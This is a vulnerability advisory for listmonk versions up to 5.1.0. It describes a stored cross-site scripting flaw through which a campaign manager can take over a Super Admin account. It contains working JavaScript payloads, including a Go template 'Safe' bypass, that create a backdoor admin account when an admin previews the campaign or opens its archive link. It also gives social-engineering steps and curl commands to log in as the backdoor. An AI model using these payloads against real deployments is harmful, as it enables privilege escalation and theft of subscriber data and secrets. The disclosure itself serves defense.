listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting

---

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

---

Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.

---

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

---

Attack Scenarios

Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload
2. Request is made to super admin: "Please review my newsletter draft"
3. Super admin opens campaign and clicks Preview
4. XSS executes → Backdoor admin account created
5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload
2. Attacker enables Archive for the campaign
3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
4. Super admin visits the link (no preview click needed!)
5. XSS executes automatically → Account takeover

---

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: '[email protected]', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

1. Edit campaign settings
2. Enable "Archive"
3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

• Send campaign to super admin for "review"
• Super admin previews → XSS fires

Option B - Archive Link:

• Share archive URL with super admin
• Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

---

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

[Screenshot 2: Super admin previewing campaign]

[Screenshot 3: Backdoor user successfully created]

---

Impact

Action	Possible via XSS
Create backdoor admin	✅ Yes
Export all subscribers	✅ Yes
Modify SMTP settings	✅ Yes
Delete all campaigns	✅ Yes
Access API keys/secrets	✅ Yes

---

Affected Components

Component	XSS Works?	Method
Campaign body (Raw HTML)	✅ Yes	Direct <script> tag
Campaign body (Template)	✅ Yes	{{ \ ` | Safe }}`
Template body	✅ Yes	Both methods
Campaign archive	✅ Yes	Automatic execution on visit

---